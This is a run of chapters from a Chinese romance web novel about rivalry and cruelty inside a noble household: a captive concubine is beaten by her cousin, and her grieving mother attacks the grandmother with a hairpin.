《战神王爷夜夜来爬墙,王妃她怒了》 第二百五十三章周令芙是逃奴? 沈琼华听到这话立马摇头,“没有没有,这只是个假设,我若是知道有人想要陷害镇国公府岂能不告诉你?” “我只是经过昨日的事情,心有所想罢了。” “毕竟咱们与安王一党已经是不死不休的地步,眼下安王被皇上委以重任,带兵出征,安王一派正是士气高涨之时。” “安王向来视王爷为眼中钉肉中刺,万一有那等得势张狂之人不自量力动了歪心思呢,咱们总要防患于未然不是?” “毕竟,在世人眼中看来,镇国公是王爷最大的依仗了,若是……” 事情已经点到了这里,剩下的话不用沈琼华再劝说,洛希瑶自己便能脑补。 洛希瑶低头紧蹙着眉思索,半晌后,才道:“琼华你说的对,脑子不清醒的人多的是,眼下这种情况小心一些总是没错的。” “你放心,我这便加派王府的守卫,命他们轮班看守。” 沈琼华接着道:“不仅如此,镇国公的书房应当再着重另外派心腹看守。” 洛希瑶蹙眉,她听懂了沈琼华的言外之意,“这就不用了吧,国公府的守卫不是曾经跟着我爹上战场的老兵,就是他们的后代……” 沈琼华打断她的话,看着洛希瑶的眼睛道:“这世界上没有什么是不会变的,钱财权势亦会拨动人心。” 见洛希瑶仍是犹豫,沈琼华道:“我曾经也有个从小一起长大的丫鬟,可是她为了给永宁伯世子做妾,背叛了沈家。” 洛希瑶神色一动。 沈琼华再接再励,道:“此事只是咱们的猜测,是为了以防万一,本就不宜声张,只咱们两个知晓便可。” “另外派去看守书房的人躲在暗处就行,这样既让咱们安心,也不会让其他守卫觉着咱们不信任他们,寒了他们的心。” “若是无事发生,咱们就当这件事情没有发生过,若是真有事情发生了,那也是你谨慎,守卫们也只会觉得是你思虑有方。” 洛希瑶毫无疑问被沈琼华给说动了,她摸着下巴思考道:“那既然这样,也不用惊动我爹了,直接动用我的暗卫便是。” “让他们在暗处昼夜看守书房,如此,若有异动也能瞬间察觉。” 洛希瑶手上有一支由八人组成的暗卫队,此前借给沈琼华探视谢南渊行踪的两个暗卫就是这个暗卫队里的。 身手自然是不必多说,便是谢南渊在第一时间也未曾发觉,虽然谢南渊当时也并没有完全想到这方面,完全是大意了,但也能证实他们的身手确实不错。 沈琼华也正是打着这个暗卫队的主意,此刻洛希瑶主动提出来,顿时满意地点头。 这支暗卫队本就是出自镇国公之手,他们看守镇国公府的书房,即便是被镇国公发现了行踪,也好解释。 沈琼华原本以为要劝说洛希瑶要费一番功夫,谁知道对方这么听劝,轻易便松了口。安慕小说网 解决了心头大事,沈琼华整个人轻松了不少,也有心思与洛希瑶喝茶聊天了。 二人聊了许久,直至下头的婢女禀告说瑞王已经离开了,沈琼华又坐了两刻钟这才起身离开。 临走只事,还不忘拉着洛希瑶的手,叮嘱她切莫忘了方才说的事情。 絮絮叨叨的,直将原本平常心的洛希瑶也弄得有些紧张起来,仿佛真有什么人要栽赃镇国公府似的。 送走了沈琼华,便赶紧回府着手安排了起来。 安排好后,洛希瑶还写了信给沈琼华,让她放心,沈琼华很是欣慰。 当然,这都是后话。 沈琼华此刻正坐在回沈府的马车之上,芍药坐在一旁给沈琼华递茶,眉眼含笑。 她虽然不知晓小姐到底与平宁郡主聊了什么,但显然小姐此刻心情很好。 自从得知边关战事后,小姐的心情一直郁郁的,她很是担心,如今总算是开怀了,她这颗一直提着的心也总算是放下了。 沈琼华接过茶盏,一边喝着,一边掀开帘子去看外头的景色。 突然眼前一花,一道略有些熟悉的脸从她眼前一闪而过,紧接着马车便紧急停住了。 车厢晃动,手中的茶水差点洒了沈琼华一身。 芍药稳住身形后,连忙接过沈琼华手中的茶盏,用车厢里备用的手帕给沈琼华擦拭。 “哎呦,这差点弄了一身。” 也许是芍药抱怨的语气被外头的马夫听到了,马夫连忙解释道:“小姐,是有人捉拿逃奴,这才惊着了马。” 沈琼华蹙起了眉,拂开了芍药的手,掀起了帘子。 只见不远处人头攒动的街上有几个守卫将一个披头散发的女子按在地上打。 女子不停的挣扎,却没有发出丝毫声音。 沈琼华看着那守卫的衣裳,微微眯起了眼,“那是安王府的守卫?” 马夫仔细看了看,道:“回小姐的话,好像是。” 周围的百姓似是被这一幕给吓到了,没有一个人敢上前,纷纷避开,却有不舍离去。 直至那挨打的女子呼吸都弱了,挣扎不动了,这才如死鱼般被拖起来,随即被套上了一个黑色的头套,被守卫给拖走了。 虽然被拖起来时立刻便被套上了头套,但沈琼华还是看清了她为何没有发出痛苦的声音——是被破布塞住了嘴。 人走后,街道上很快恢复了之前的热闹,就仿佛方才的事情未曾发生过一样。 沈琼华放下了帘子,马车重新启动。 一旁的芍药将方才那一幕都看进了眼底,心有戚戚,忍不住道:“世人都说安王礼贤下士,谦谦君子,也就是他装的好。” “这前脚刚出京城,后脚便有奴婢要逃跑,指不定在安王府受了什么呢。” “这安王府的守卫,下手也是够狠。” 沈琼华接过她重新递过来的一杯茶,喝了一口,听见她的话挑了挑眉。 逃奴? 这怕是不见得吧。 方才那一闪而过的脸,分明就是永宁伯府大小姐周令芙啊。 第二百五十四章周令芙的惨状 安王府。 一个荒凉破旧的院落内。 几个身带佩刀的守卫将一个如死鱼般的人拖进屋内。 随着重物落地的声音,灰尘四起。 几个守卫一脸鄙夷地看了一眼地上的人,骂骂咧咧地离开了。 破败的房门被重重地关上,一室寂静。 良久后,躺在地上的人那双沾染些许泥土的手才开始慢慢蜷缩,紧接着是手臂,再是大腿,似是都在颤抖。 细弱又无力的喘息声响起,似是在哭泣,一只腿无力地耷着,有鲜血透过脏污的布料渗透出来。 也不知过了多久,房门被重新打开。 两个身强力壮的嬷嬷率先走了进来,站在门的两侧,冷漠的看着地上挪动的身影。 紧接着一个身着鹅黄色衣裳的女子走了进来,倨傲的态度,轻蔑的眼神,不是周令宜还能是谁? 她看着地上凄惨的女子,眼底满是畅快的笑意。 一个眼神扫过去,那嬷嬷立马就明白了她的意思,上前粗暴地将女子头上的头套拿了下来。 乍然见光,女子有些不适应,眼睛睁开又猛地闭上。 反复几次之后,才彻底睁开眼睛,第一眼便落在了打扮的尤为俏丽的周令宜身上。 瞬间,冲天的恨意涌上心头,连嘴里的破布也来不及拿下,方才受伤的腿上的疼痛似乎也感知不到了,只想拼尽全力弄死周令宜。 但她一个受了重伤的弱女子又如何能撼动得了周令宜,她连周令宜的衣袖都没有碰到,便被两个粗壮的嬷嬷钳制住了。 双手被控制住,腿上又受了伤,嘴也被堵住,她只能发出粗哑的嘶吼声表达着她的愤怒,看向周令宜的眼神似是要将她撕成两半。 却又无可奈何。 周令宜见状展颜一笑,真是许久都没有尝到这种高高在上,胜券在握的感觉了,最近她似乎总是在受气与伏低做小,也唯有这里能让她一解心头的烦躁。 见女子一直呜呜呜个不停,她眉梢一挑,上前将女子嘴里的破布拿出,紧接着不待女子说话,直接扇了两巴掌。 “贱人!趁着殿下出征,不在府中,你竟敢逃跑!” “你不是很想进安王府吗?啊!你不是为此不惜爬上殿下的床榻吗?啊!怎么这会儿反倒要逃了?” “这安王府是什么地方,岂容得你想来就来,想走就走!” 周令宜一番话说得又急又快,轻蔑,嫉妒,与愤怒几种不同的情绪在她脸上呈现,交织,相容,显得她姣好的脸颊分外扭曲,形成了一种割裂之感。 周令芙双手被控制住,根本不能打回去,回想着这些日子的经历,她恨不能将周令宜生吞活剥。 她愤怒地破口大骂道:“周令宜你个小贱蹄子!我是你堂姐,你竟敢这么对我!” “不仅害死我的孩子,还派人欺辱,殴打我,等我回到永宁伯府,找到我娘,定要让你不得好死!” 周令芙的神色隐隐有癫狂之势。 周令芙原本以为她此生最耻辱,最丢脸的时刻便是在老夫人的寿宴上被当场抓包,被人指指点点的那段日子。 但不可否认,当时被捉奸在床时,她除了耻辱,丢脸与害怕,更多的是窃喜。 她本就对安王颇有好感,但府中乃是大房当家,大房嫡女周令宜又自幼与安王往来,处处防着二房,自然不可能会答应将她送入安王府。 她不想嫁给穷举子,于是才顺水推舟。 事后,她虽然觉得凭着自己的才情当王妃是绰绰有余,但无奈父亲不成器,又有周令宜当拦路虎,正妃大抵是当不成了,但若是能得个侧妃之位也是不错的。 总之,那时她觉着,只要要过那段难熬的时光,待她进了安王府,将来必定可以大施拳脚,一帆风水。 可是她却没想到大房从中作梗,莫说侧妃之位了,竟只让她进安王府当侍妾。 侍妾是什么? 一个任人打骂发卖的玩意儿。 她堂堂永宁侯府大小姐,宫里的贵妃娘娘也是她的姑母,安王也是她的表哥,她也是安王的表妹,怎能去做侍妾? 凭什么周令宜当正妃,她却连一个侧妃都当不了! 于是她奋力反抗,死都不去,母亲也带着人去大房与林氏对峙,为她撑腰,还去荣德堂求了祖母。 可是竟也无用,祖母似是也放弃了她。 她最后被五花大绑地塞进了小轿子里,就这么没名没分地进了安王府。 进都进了,她也只能认命,她想着安王当初连沈琼华那个商户女都能瞧上,没道理她一个侯府出身的小姐还及不上一个商户之女。 于是很是殷勤,想尽办法往前院凑,想着将来总有一日要爬上侧妃之位。 可谁知安王根本不待见她,还总是躲着她,后来机缘巧合之下她才知晓是周令宜从中捣鬼。 她在周令宜来安王府时找其理论,可周令宜言语之间都是对她的羞辱,她忍不住与其动起手来。 后来殿下来了,却只站在周令宜那边,丝毫不顾及她脸上也挂了彩。 她恨极了。 周令宜这个贱人,从小便压她一头,便是离了永宁侯府也不想让她好过。 她想找母亲商量一下对策,可是她被困在这安王府,没有安王的准许她一个小小的侍妾根本出不去。 就在她一筹莫展之时,她突然身体不适,请来府医一看,竟是有了身孕。 她高兴极了,想着这是殿下的第一个孩子,若是男孩,生下来就是长子。 若是将来殿下有朝一日能……那肚子里的孩子岂不就是…… 即便没有,凭着她生下了殿下的第一个孩子,难道将来还坐不上侧妃之位吗? 想到这,周令芙再也坐不住了,立刻便派人去前院告知前院的小厮,让其即刻告知王爷。 接着她左等右等,从天亮等到天黑,又从天黑等到天亮都没有等到殿下。 直到天光大亮,她等来了一碗堕胎药以及凶神恶煞的周令宜。 周令宜的面上是她从未见过的狰狞表情,比她那日在寿宴上被捉奸在床时更可怖。 她那时才知晓,这个她从小一直攀比的堂妹,心到底有多狠。 周令宜直接让人钳制住她,亲自端着药碗往她嘴里灌。 她拼命挣扎,却仍是被灌进去了一大半,药碗落地碎成瓷片,她清晰地感受到有什么东西从身体里抽离,紧接着殷红的鲜血流了出来。 她的孩子,才一个多月,就这么没了。 第二百五十六章吴氏思女心切 脚用力踢了踢,地上的人还是那副半死不活样子,周令宜眼中的兴味渐渐消散。 她冷哼一声,道:“还真是无用。” 一个拶刑就撑不住了。 她斜睨了一旁的嬷嬷,冷声道:“看着她,随便上点药别让她死了。” “是!”两个嬷嬷躬身应下。 周令宜拢了拢衣袖,冷漠地走了。 她似是对安王府很是熟悉,一路左拐右拐从偏门出了安王府。m.xfanjia 一辆低调的马车早已在此等候多时,周令宜搭着采薇的手上了马车,坐下后沉沉地呼出一口气。 待坐稳后,马车一路晃晃悠悠地朝永宁伯府走去,两刻钟后,停在了永宁伯府的门口。 周令宜刚下了马车,一个面色有些憔悴的妇人便迎了上来,正是永宁伯府的二夫人吴氏。 吴氏一把拉住周令宜的手,脸上挂着一抹讨好的笑,问道:“宜姐儿,你回来了,累了吧,二婶那准备了你最爱吃的糕点,你可要尝一尝?” 周令宜眼中闪过一抹轻蔑,假笑道:“不用了二婶,我累了,想回屋歇着了。” 说着,周令宜拂开吴氏的手就想走,却被吴氏死死拽住不松手。 周令宜看向吴氏,不知她这是何意,就见吴氏谄媚的笑道:“宜姐儿啊,你说你大姐进安王府都这么长时间了,一点音讯都没有,你什么时候能让二婶与你大姐见一面啊?” 周令宜闻言冷笑一声,斜睨了吴氏一眼,道:“怎么,这不就是二婶与大姐想要的吗?” “当初二婶费劲心思想要大姐进安王府,自然也该想到今后母女二人难以相见。” 吴氏被小辈指着鼻子这般说,脸一阵青一阵白。 当初是想着正妃的位置够不着,起码也能得个侧妃之位,侧妃也是有资格决定见娘家的人的,哪知道偷鸡不成蚀把米,芙姐儿只得了个侍妾之位。 别说见娘家人了,这人一入了安王府竟是半点音讯都没有,连一封信都未曾传出来。 若不是想着安王如今还未成婚,安王府没有主母,只有几个通房丫头地位都在芙姐儿之下,芙姐儿应当不会受欺负,她早就坐不住了。 若是之前,吴氏也定然不会这般心急,但自从听说了女儿怀孕还没高兴两日又小产后,吴氏的这一颗心就在油锅里煎一样。 心中不止一次后悔,早知道还不如嫁个普通人家,起码想见时还能见一见,这入了皇家,一年半载也见不着一回。 若非她思女心切又进不去安王府,她一个长辈,岂非会被这小贱蹄子挤兑。 吴氏想到自己近大半年也未曾见到女儿,有求于周令宜,生生忍下了这口气。 语气艰难地开口道:“是是是,当时是二婶猪油蒙了心,当时鬼迷了心窍,你就不要与二婶一般见识了。” “你什么时候能带二婶去安王府见一见你大姐啊?” 这小贱蹄子,就知道在她面前摆谱,真当自己是安王妃啊! 真是白日做梦。 准安王妃是那位林大将军府的小姐,这圣旨都下了,谁人不知。 她当时可是在屋内笑了三天三夜,这老夫人一心以为周令宜能坐上安王妃的位置,不惜顺着大房的心思使劲作践她的芙姐儿,连个侧妃的位置也不肯提芙姐儿争取。 如今倒好,板上钉钉的安王妃之位告吹了,她周令宜再想进安王府也只能当妾。 那比她的芙姐儿也好不到哪去! 周令宜并不知晓吴氏所想,也根本就不在乎,她根本就没将吴氏放在眼中。 听着吴氏的请求,周令宜想到周令芙在安王府如鼠蚁一般苟且偷生,眼中划过一抹畅快。 她眉梢一挑,慢悠悠道:“二婶真是说笑了,这安王府是什么地方,我怎么能做得了那里头的主。” “二婶若是想要见大姐姐,不如趁着向安王府递帖子,若是能见自然就让你见了,若是不能见,我又有什么法子。” “实在不行,你让二叔求求一求安王殿下,说不定殿下心情好,便应了你的请求。” 一番话气得吴氏差点咬碎了银牙。 这小贱蹄子,自己若是递了帖子能见到人,何至于求到她头上! 她明明知晓若是安王不主动来伯府,凭借着老爷一小小的五品京官根本见不着安王。 再者,老爷是个清高的人,也根本不会按照她说的做,她却故意在这奚落自己。 更何况,如今安王领兵出征,人都到边关去了,她如何去求安王,这小贱人分明就是在推诿。 想到刚刚下头人的禀报,吴氏终归是沉不住气了。 她面色焦急道:“怎么会,你方才不是还去了安王府?怎会不知晓你大姐姐的信息,怎么不能让我见一见你大姐姐?” 周令宜原本还只是随便应付着吴氏,闻言顿时全身一震,看向吴氏的眼神都变了,“二婶怎知晓我去了安王府?你莫不是派人跟踪了我!” 吴氏一哽,她当然不能承认自己派人跟踪了周令宜,“你这孩子,怎么说话的,我岂是那种人。” 吴氏眼珠直转,慌乱之中随意找了一个借口,“是方才我命身边的嬷嬷出去买东西,恰好经过安王府,在偏门发现了咱们伯府的马车。” “伯爷一般都是骑马的,我一猜就是宜姐儿你去了安王府,这才在府门前等你回府,想要问一问你是否有你大姐姐的消息。” 任凭吴氏如何解释,周令宜却已然沉了脸,她丝毫不给吴氏情面,毫不客气道:“二婶,我真的不知晓大姐姐的消息,即便我去了安王府,也见不到大姐姐,安王府的内宅王爷都派了守卫把手,我可插手不了。” “您若是实在是想见大姐姐,有这功夫还不如去求一求祖母,总比在这摇尾乞怜的强。” 老夫人现如今都是站在大房一边的,哪还会管她的芙姐儿的死活! 见周令宜油盐不进,吴氏忍不住怒道:“小贱蹄子,在这摆哪门的谱,你还真当自己是安王妃了,我呸,也就是个当妾的货色,若不是林小姐还未进安王府的门,我还需要在这求你?” 听到这话,周令宜眼底闪过一抹狠厉,吴氏比周令宜低一点,恰将这末狠厉看进眼中,心中顿时一惊。 紧接着,便听到周令宜厉声道:“既然二婶这样说了,那也不必求我帮忙了,你自己想法子吧。” 见得到人,算她输。 说完,周令宜拍开吴氏的手就走,鹅黄色的衣裳穿在她的身上真是好看极了,俏丽又不失尊贵。 吴氏的目光忍不住就落在了周令宜的背影上,就看到了她宽大裙摆上沾染是一抹鲜红。 吴氏心头一窒,想到方才周令宜那狠厉的眼神,心中突然升起了一丝不好的预感,她举起颤抖的手,指着周令宜衣裳上的红。 “血……血……” 随后白眼一翻,晕了过去。 “二夫人……二夫人……”周围的丫鬟一窝蜂拥了上去。 周令宜回身,正巧看见吴氏的手,指的方向。 她顺着方向朝自己的裙摆看去,慢慢眯起了眼眸。 那是……她在安王府不小心沾染上的血。 第二百五十七章吴氏智商飙升 夜深人静,万籁俱寂。 二房主母吴氏的房却还点着灯。 吴氏安静地躺在床榻之上,突然眉头紧皱,似是陷入了梦魇当中,紧接着唇色逐渐苍白,大滴大滴的汗水从额角滑落。 “不……不要……不!” 吴氏猛地睁开眼睛,坐起身,大口大口地喘着粗气。 似是想到了什么,她一把掀开被褥喊道:“来人啊!来人啊!有没有人啊!” 可是却无一人应答。 吴氏撑着身体下地,随意穿着鞋,踉踉跄跄地走向房门。 “快来人呐——” 吴氏一把来门,一张苍老的脸出现在吴氏的眼中,令她的叫喊声堵在了喉咙中。 “……娘?” 老夫人目光沉沉地看着她,身边的嬷嬷推开吴氏,扶着老夫人朝里走去,坐在了外间的主座上。 “大半夜的,你大喊大叫的这是要做什么!” 略显沧桑的声音从里面传来,吴氏猛地回神。 随后连门都来不及关,回身大跨几步就扑在了老夫人的膝前,看着老夫人的眼神如看着救命菩萨一般。 吴氏声音哀戚道:“娘!娘你快救救芙姐儿啊!宜姐儿要害芙姐儿,芙姐儿就快要没命了!” “不……或者说宜姐儿已经害死了芙姐儿!娘!你要给芙姐儿做主啊!” 老夫人看着说话颠三倒四,形同疯妇一般的吴氏,眼神闪了闪,道:“你胡说八道什么!芙姐儿在安王府待的好好的,能出什么事?” “更何况,即便是芙姐儿出事了,安王府也会派人来府里通知一声的。” “你一见不到芙姐儿,二没有接到安王府的通知,一个人在这胡乱猜测什么!” “不,不!”吴氏攥住老夫人的衣摆如攥住救命稻草一般,“娘,是宜姐儿,我看到了!我看到宜姐儿衣裳上的血迹了!” 她派人盯了周令宜好几日了,今日周令宜出了伯府的门,便只进了瑞王府,还待了许久。 那血迹只能是在安王府染上的。 可是好好的,安王出征了又不在安王府,周令宜为何要去安王府? 再者,周令宜的裙摆又为何会在安王府染上血迹? 除非她在安王府对其他人用了刑。 但若只是有下人冲撞了周令宜,对下人用刑,周令宜怎么会沾到身上? 那便只有一个可能了,那就是行刑时,周令宜一直在边上。 吴氏可不认为周令宜有那等闲心在一旁守着看一个奴婢受惩罚。 受惩罚的人必是周令宜认识,或者是她憎恨之人。 而安王府的几个通房虽然身份低微,但都是周贵妃之前的婢女,是周贵妃赏赐给安王的。 周令宜还未进安王府的门,自然不敢惩罚贵妃派去安王府的人,那岂不是当众打周贵妃的脸。 如此一一排除,剩下的可能性便只剩下她的芙姐儿了。 芙姐儿的身份虽然是侍妾,比那些周贵妃赏赐的通房高,且有永宁伯府撑腰,那些通房不敢对芙姐儿如何。 但这些在周令宜眼中却不算什么,毕竟她才是永宁伯府名正言顺的小姐,自然不将芙姐儿放在眼中。 若是真出了事,两相取其轻,伯府保的也是周令宜。 而且周令宜有充分的理由害芙姐儿,只有芙姐儿与她结了仇,她定是还在记恨芙姐儿进安王府一事。 一定是这样! 所以她根本联系不上芙姐儿,定是周令宜在其中动了手脚。 亏她还傻乎乎地联系不上了,去求周令宜! 不得不说,为母则刚,事关周令芙的性命,吴氏的敏感程度强得可怕,便是连在老夫人看来一向很低的智商都一下子提高了不少。 老夫人听着吴氏的推测,看着吴氏痛哭流涕的眼神都一变再变。 她沉默了一会儿,道:“你怎能凭借着一见衣裳就胡乱猜测宜姐儿?你联系不上芙姐儿,或许是因着安王府管控严格。” “再如何严格也不会一点消息都没有啊,娘,你相信我啊,芙姐儿一定是出事了,她上一回有消息还是她小产之时……” 见老夫人神色晦暗,吴氏摸了一把脸,哽咽道:“娘,您若不信,那不如这样,您让我见一见芙姐儿,若是芙姐儿无事,我……我亲自给宜姐儿道歉,算我错怪了她。” 老夫人推拒道:“胡闹!安王眼下不在京中,安王府岂是能随意擅闯的!” “娘……那……那不如这样,您给宫里的贵妃娘娘写一封信,请求贵妃娘娘看在我思女心切的份上,让我看一眼芙姐儿。” “不进安王府都没关系,只让芙姐儿站在门口,我就远远地看一眼,不靠近,只要确认她平安就好。” 老夫人眼中也有几分动容,只不过很快就被她压下了,“贵妃娘娘的决定,岂是我等能摆布的。” “娘,您也是娘娘的母亲啊,别人可以肯定不行,但您去说贵妃娘娘肯定会同意的。”吴氏眼含希冀地看着老夫人。 老夫人嗓音冷硬的拒绝道:“不行!” “为什么?为什么不行!”吴氏问道,可老夫人却并未回答她的话。 吴氏眼泪止不住地往下流,她看着老夫人的面无表情的脸,突然灵光一闪,脱口而出道: “你是不是知晓宜姐儿对芙姐儿做了什么?” 第二百五十八章吴氏要杀老夫人 老夫人心尖一突,没有想到吴氏竟这般警觉。 她当然知晓宜姐儿对芙姐儿做了什么,不,或者说她知晓宜姐儿会在芙姐儿身上发泄愤恨。 毕竟宜姐儿一直都想嫁给安王殿下,却为了殿下的大业一再让步,结果却被芙姐儿抢了先。 宜姐儿从小被娇养着长大,被府中的人捧得高高的,如何咽的下这口气,定然会在其他地方补回来的。 所以当林氏和宜姐儿说,让芙姐儿以侍妾的名义进安王府时,她只是沉默了一瞬便答应了。 虽说宜姐儿和芙姐儿都是她的孙女,手心手背都是肉,但也有肉多肉少的区别。 她这一生,生下了二子一女,女儿进宫当了贵妃,生下了安王,将来还有很大可能再进一步。 长子是她的荣耀,凭一己之力将已经衰败了的侯府重新拉回了权利中心,便是女儿当初也是借着长子对当今皇上的救命之恩进的当时的东宫。 即便是如今因着赈灾银的事情被降了爵,那也是为了保住安王殿下,她在最初的难以接受之后,也渐渐想通了。 那件事情已经是最好的结果了,只要安王殿下没有受到波及,永宁伯府就还有东山再起的机会。 至于幼子倒是不如长子与女儿,读书时学识就一般般,为官后的政绩也是平平,连个嫡子都未曾生出来,庶子庶女倒是一个接一个的生。 幼子比不上长子,周令芙这个孙女在她的心中自然也比不上大房所出的周令宜。 有吴氏一族的血脉加持也没用,毕竟吴氏一族已经落没了,若是从永宁伯府里头选一个姑娘为安王妃,这个人选定是宜姐儿莫属。 当上了安王妃,将来就有可能成为皇后,所以在她心目中周令宜自然要比周令芙要重要的多。 别说让芙姐儿以侍妾的名义进安王府,便是大房坚持让芙姐儿出家做尼姑,她考虑一晚后,可能终究也会低头。 她自认没有将事情做绝,将芙姐儿送去尼姑庵,给了芙姐儿一个栖身之所,只不过是让其受些宜姐儿的刁难罢了。 她也以为宜姐儿虽然记恨上了芙姐儿,但最终也会顾忌着一些姐妹之情,不会太过分。 所以之前吴氏几次三番请求自己,想让自己想办法让她见芙姐儿一面,自己都不以为意将其打发走了。 直到此次,宜姐儿露出了些许端倪被吴氏发现了,宜姐儿这才与她说了实话。 她这才知晓,宜姐儿竟如此心狠手辣,连同族的姐妹都不放过。 可心中惊惧之余,又不免有一丝欣赏。 像宜姐儿这般手段狠辣的,将来等安王登基之后,入了后宫才能生存下来。 至于芙姐儿……老夫人眼眸微眯。 事已至此,芙姐儿这丫头如今定然是将永宁伯府也记恨上了,既如此那不如就顺水推舟,随了宜姐儿的意。 老夫人看着跪在她面前的吴氏。 只是眼前,还是要稳住她才是,若是将事情闹大了就不好了。 这般想着,老夫人的语气缓和了几分,试图与吴氏讲道理,“这一切都是你的臆想,揣测,贵妃娘娘在宫中要应付数不清的明枪暗箭。” “若是连这等小事都要去找贵妃娘娘,贵妃娘娘该如何看待咱们伯府。” 老夫人一下子还没转变过来,还以为吴氏如从前那般好糊弄。 却不知晓吴氏方才一直在盯着她,将她神情中的微妙变化看得一清二楚。 心里清楚之后,紧接着便是崩溃,“你不要再骗我了,你与大房都是一伙的,你们都,都合起伙来欺负我们娘俩!” 老夫人还想要否认,吴氏却已经听不进去了,她死死地攥住老夫人的手,神色癫狂,将老夫人和身边伺候的嬷嬷都吓了一跳。 “老夫人,我求求你,芙姐儿也是你的孙女啊,求求你放过她好不好,你去跟宜姐儿说,就说芙姐儿不进安王府了,不与她抢安王殿下了,我只要她平安回来。” “让我的芙姐儿平安回来,好不好?” 吴氏眼含希冀地看着老夫人,只盼着老夫人点头,可老夫人此刻受到了惊吓还没缓过神来,自然不能回答吴氏的话。 吴氏见老夫人沉默不语,便以为老夫人不同意。 于是吴氏便对着老夫人开始磕头,一边磕一边道:“老夫人,姑母,这是我唯一的孩子,求求你可怜可怜我,不要让大房害芙姐儿好不好。” “我可以带芙姐儿走的,我不会让她与宜姐儿抢的,我发誓,若是今后芙姐儿还敢与宜姐儿抢,便让我天打雷劈,不得好死。” 吴氏磕得极重,不一会儿额头上便沁出了血。 老夫人这才反映了过来,看着吴氏这个样子,忍不住叹了口气,幽幽道:“晚了。” 宜姐儿跟她说了,芙姐儿如今恨极了安王与永宁伯府,甚至几次三番想要逃跑去林大将军府,搅黄安王府与林大将军府的联姻。 即便是不成,也要向林惜颜说出一切,总之是不想让永宁伯府和宜姐儿今后的日子好过。 芙姐儿现在这副想要置安王府与永宁伯府于死地的样子,谁敢放她出来。 若是真让她出来,只怕永宁伯府不仅会被林将军府记恨,还会成为笑柄。 也只能按宜姐儿说的,拖住她的一条命,等殿下与林惜颜成婚之时再送她上路。 如此一来,她也算是死得其所,报了伯府的养育之恩,不枉伯府养了她十多载。 唉,真是可惜,也怪二房母女脑子不清楚,一步错,步步错,不然芙姐儿何至于落到这等下场。 几不可闻的两个字,却如银针般扎进了吴氏脆弱敏感的神经。 吴氏磕头的动作一僵,整个人犹如石化了一般,不敢相信自己听到的。 这两个字落在吴氏耳中,无异于是在告知她周令芙已经死了。 死——了—— 芙姐儿死了…… 她唯一的女儿死了! 吴氏的双眼逐渐猩红,目眦欲裂,她猛地站起身,突然放声大笑了起来。 笑着笑着她又哭了起来,“芙姐儿!我的女儿!是娘害了你啊!” 这又哭又笑,如鬼魅在哭泣的声音直将老夫人的鸡皮疙瘩都吓出来了,老夫人都怀疑吴氏是不是疯了。 避免疯癫之人做出什么疯狂的事情,伤害了自身,老夫人搭着身边嬷嬷的手就想要跑。 却被吴氏一把抱住,摔在了地上,差点将老夫人一把老骨头摔散架。 老夫人‘哎呦哎呦’地叫唤着,却爬不起来。 吴氏只觉得心中有一团怒火几乎要将她燃烧殆尽,她恶狠狠的道:“你们害死了我的芙姐儿,就要下去给她偿命!” 说着,竟直接拔下头上的金簪朝老夫人的胸口刺去! 第二百五十九章离死不远了 就在这千钧一发之际,门嘭地一声被撞开,林氏与周令宜带着一堆下人冲了进来。 众人看到面前的景象都吓得瞠目结舌。 还是周令宜吼了一声‘还愣着干什么!还不快上去救老夫人!’这才反应了过来,随即一股脑地上前,靠着人多总算是牵制住了吴氏。安慕小说网 老夫人还差点被压死。 周令宜原本想装一装孝顺孙女上前扶起老夫人,可看到地上的那摊黄色液体,刚要迈出去的脚步即刻便缩了回来。 用帕子掩了掩口鼻,朝一旁离得最近的一个嬷嬷吩咐道:“还不快将老夫人扶起来。” 那嬷嬷嘴角一抽,却不敢抗命,只能强忍着恶心上前,便连面上也不敢透露出丝毫嫌恶之意。 有了人搀扶,老夫人这才站了起来,只是脸色却十分不好看,有愤怒,有羞愧,有难堪,甚至看向被下人钳制住的吴氏时,眼底都已染上了杀意。 老夫人体面了一辈子,即便是侯府最落魄的时候,也不曾做出过当众……的丑事,甚至这丑态还被这么多人看见了。 这对老夫人来说简直是奇耻大辱! 不要说吴氏发疯了,若不是顾忌着脸面,老夫人都想要疯一疯了。 林氏掩住眼底的嘲弄,关心地问道:“娘,你没事吧?” 周令宜面带担忧道:“祖母,您还好吗?都怪宜儿来晚了,才令祖母受此连累。” 两人虽这般说着,却谁也没有往前一步。 老夫人的脸一阵青一阵白,尤其湿透的衣摆还在不断滴滴答答往下滴着不明液体,她只想立刻逃离这令她颜面扫地的地方。 偏偏周令宜还火上浇油道:“祖母,二婶也是一时接受不了才做出这种大逆不道之事,您千万不要与她计较啊!” 面上说着劝慰的话,在无人看见的角度,却缓缓勾起了嘴角。 祖母此人,她最是了解不过。 表面上看着对谁疼爱重视,一旦这人若是对伯府毫无益处之后,她顷刻间便可将人抛弃。 且在祖母心中永远将自身排在第一位。 此番吴氏这一番操作,怕是彻底惹了祖母的厌弃。 如此一来,她便可以放开手脚来干了。 之前在府门前发现吴氏察觉到纰漏后,她就想直接了结了吴氏,免得横生枝节。 只是吴氏到底是长辈,又有祖母做靠山,即便祖母再嫌恶吴氏的蠢笨,可看在一笔写不出两个吴字的份上,也不会允许她胡来的。 这下倒好了,吴氏自己将靠山给作没了,只怕现在祖母比她还希望吴氏赶紧去死,这倒是遂了她的意。 果然,听了周令宜劝解的话,老夫人心头的怒火更甚。 吴氏接受不了? 她还接受不了呢! 她活了这么大岁数何曾出过这种丑! 她当初就不该给老二求娶吴氏这种蠢货,还生下个没脑子的周令芙,竟敢与府里对着干,还连累了老二近不惑之年连个嫡子都没有! 老夫人看着还被按在地上挣扎的吴氏,冷哼一声,道:“作为儿媳竟敢行刺婆母,简直是不知所谓,大逆不道!” “既然你无情,就休要怪我无义!” “你与你那个蠢货女儿活该落得如此下场!” 说完,她又看向周令宜,神色柔和了些许,道:“宜姐儿,你如今年岁也大了,很多事情是该自己拿主意了,不用再询问祖母的意见,你自己看着办便是。” “是!孙女知晓了,定然将事情办得妥妥当当,让祖母满意。”周令宜柔声道。 老夫人赞许地点了点头,随后一刻也忍受不了,搭着嬷嬷的手离开吴氏的屋子,回荣德堂沐浴更衣。 大门打开,传出吴氏撕心裂肺地叫喊着,“不许走,不许走,你们都要给我的芙姐儿陪葬!” 大门缓缓关拢,林氏上前,一巴掌打在了吴氏的脸上,“贱人,你也有今天!” 她与吴氏前后脚嫁进的侯府,在府中一样不得夫君宠爱。 可是吴氏的日子却比她好过许多,因为老夫人是吴氏的姑母,处处向着吴氏。 她刚进府那几年没少被吴氏刁难,还是之后她生了林哥儿三兄妹,而吴氏只得一女,府中的大权才渐渐落到她的手中。 